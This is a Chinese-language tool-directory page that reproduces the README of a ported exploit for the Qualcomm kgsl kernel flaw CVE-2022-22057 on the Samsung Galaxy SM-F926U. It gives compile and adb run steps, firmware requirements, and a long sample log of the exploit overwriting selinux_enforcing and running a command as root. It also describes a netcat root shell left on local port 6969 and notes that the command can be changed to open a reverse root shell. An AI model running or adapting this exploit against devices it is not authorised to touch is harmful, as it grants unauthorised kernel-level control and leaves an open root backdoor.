Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-22057_SM-F926U — 高通kgsl驱动程序漏洞(CVE-2022-22057)针对三星Galaxy设备,实现任意内核内存读写、绕过SELinux,并通过竞态条件获取临时root权限。 | Kitploit
工具/GitHubGitHub/diabl0w/cve-2022-22057_sm-f926u
Android安全权限提升漏洞利用框架漏洞分析漏洞利用移动安全二进制利用
GitHubdiabl0w/cve-2022-22057_sm-f926u

CVE-2022-22057_SM-F926U

高通kgsl驱动程序漏洞(CVE-2022-22057)针对三星Galaxy设备,实现任意内核内存读写、绕过SELinux,并通过竞态条件获取临时root权限。

查看仓库
10193年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Fork

这是我从原漏洞利用(此处)为 SM-F926U 进行的适配。
特别感谢 m-y-mo 发现该漏洞,并在我将其移植到 SM-F926U 并使其可用期间,以极大的耐心回答我所有的问题。

我已添加一个基于 Shizuku 代码的启动守护进程 (libtimeline.so)。

添加了一个技巧,使临时 root 解决方案能够 稳定 工作(见下文)。

免责声明:我对设备损坏、数据丢失、数据被盗、设备安全性概不负责。
免责声明 2:我不是开发者,更像是一个专业修补者。如果你遇到问题,我可能会尽力帮忙,也可能永远不会再看这个帖子,请自行承担风险。

要求:

  • 固件版本为 F926UXXS1BUL6 或相近版本,因为需要特定的 kallsym 偏移量(仅测试过 F926USQS1BUL6)

步骤:

  • 首先阅读所有步骤、上述免责声明以及下面的注意事项。
  • 编译 libtimeline.so(使用 ndk-build)和 timeline(使用 make)。
  • 将两者复制到 /data/local/tmp 目录。
  • 调试时:你可能想直接运行 /data/local/tmp/timeline,这样可以查看漏洞利用是否正在运行或挂起(见下方注意事项)。
  • 生产环境:运行 /data/local/tmp/libtimeline.so。
  • 警告: 你的设备可能会内核恐慌并重启,如果发生这种情况,请等待它启动,解锁设备,等待几分钟让设备从启动中“冷静下来”,然后重试——理论上,最坏的情况是丢失仍在内存中的所有数据。因此,在运行漏洞利用前,请确保保存重要数据。
  • 漏洞利用完成后,当启动进程进入其循环时(为什么这样做见下方注意事项):
    • 在 adb 会话中输入 netcat 127.0.0.1 6969 连接一个 root shell。
    • 如果连接成功,然后应该可以输入 id 命令,它将显示你的 root 凭据。
    • 你也可以通过以下命令发送指令:echo 'YOUR COMMAND' | netcat 127.0.0.1 6969

更多注意事项:

  • 目前没有实现来显示漏洞利用是否成功运行。另一方面,你可以直接运行 timeline 二进制文件 (/data/local/tmp/timeline),它将显示漏洞利用是否成功,但一旦你结束 adb 会话,设备很快就会崩溃,这就是为什么我们从 libtimeline.so 运行。
  • 即使通过 libtimeline.so 运行,如果 android 在后台杀死了 timeline 进程,也会导致手机重启。我的手机通常能坚持 8 小时到几天不等,然后进程会被杀死。
  • libtimeline.so 会占用 100% CPU:你会在 top 中看到 timeline 进程占用约 100% CPU。我不确定这是否正常。它实际上只是处于 while(1) 状态以防止进程关闭导致设备崩溃,所以我还没有找到高 CPU 占用的原因,或者这是误报。 已修复
  • 这是一个临时 root 解决方案,意味着:没有 Magisk,没有 SU 管理器,并且 Defex 仍然启用。
  • 警告: 这种 root 方法非常不安全。
    • 它通过 netcat 在 6969 端口留下一个 root shell,任何向该端口写入命令的服务都能以 root 权限执行命令。

原始版本

Qualcomm CVE-2022-22057 漏洞利用

分析文章可以在此处找到。这是我于 2021 年 11 月报告的 Qualcomm kgsl 驱动中的一个漏洞。该漏洞可被用于从不受信任的应用域获得任意内核内存读写能力,进而用于禁用 SELinux 并获得 root 权限。

该漏洞利用已在 Samsung Galaxy Z Flip 3(欧洲版本 SM-F711B)上测试,固件版本为 F711BXXS2BUL6,基带版本为 F711BXXU2BUL4,内核版本为 5.4.86-qgki-23063627-abF711BXXS2BUL6(EUX 区域)。漏洞利用中的偏移量指向该固件版本。除了内核镜像中的常用偏移量外,ion_utils.c 中 ion 内存池的各种地址也是固件相关的。作为参考,我使用以下命令通过 ndk-21 中的 clang 进行编译:

android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O2 timeline_wait.c sendmsg_spray.c signalfd_spray.c cpu_utils.c ion_utils.c fake_obj_util.c work_queue_utils.c -o timeline

该漏洞利用的可靠性不错(在测试设备上约 70%),不过需要在启动后等待几分钟再运行,因为启动后的最初几分钟内会有大量损坏/失败的 binder 调用(不确定是 Qualcomm 还是 Samsung 的问题)。

要测试,请交叉编译文件,然后通过 adb 执行:

adb push timeline /data/local/tmp
adb shell
b2q:/ $ /data/local/tmp/timeline

如果成功,它将禁用 SELinux,以 root 身份运行 id 命令,并将结果写入 /data/local/tmp/id.txt 文件中:

b2q:/ $ /data/local/tmp/timeline
heap_id_mask 40
ion region 0x75a0ccf000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
timeline_wait start
readpipe start
destroy start
readpipe
Caught signal: 10
 wait complete -1
readpipe finished
destroy finished
cb_list ffffffc02d943bf8 temp ffffffc02d943c48
mask 52424242 60
cpu_id 0
interval number 1
mask 7f8e7bfeff 7
thread number 0 7 20014
thread batch number 0
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 7 ion regions
heap_ops ffffffc012e17180, kernel base: a00b8000
set enforcing to permissive
[+] successfully overwritten selinux_enforcing
wq_ptr_addr: ffffffc012dc2518
wq_addr: ffffff81f4cf1200
pwq_addr ffffff81e24ea100
pool_addr ffffff805ff7c000
worklist ffffff805ff7c020 ffffff805ff7c020
queue work
max_active 256 nr_active 0
queuing work, waiting to aquire spin lock
work_queued
work processed
complete 0
ret 0
nr_active 0
worklist ffffff805ff7c020
work next ffffff8071842c08
[+] successfully run command and added id.txt in /data/local/tmp
finished queue work
freeing ion dma fd
finished freeing ion dma fd
finished spraying
finished

在打印 wait complete -1 之后会有较长的停顿,通常不超过一分钟,这是正常现象。有时在排队工作(打印 queuing work, waiting to aquire spin lock 后)也可能需要一段时间(可能几分钟),只需耐心等待,不过这种情况不常见。漏洞利用通常会在几分钟内完成。

文件 /data/local/tmp/id.txt 应该能确认命令是以 root 身份运行的:

b2q:/ $ cat /data/local/tmp/id.txt
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

可以通过修改 work_queue_utils.c 中 setup_sub_info 里的变量 cmd 来运行不同的命令(例如,弹出一个反向 root shell)。

下载工具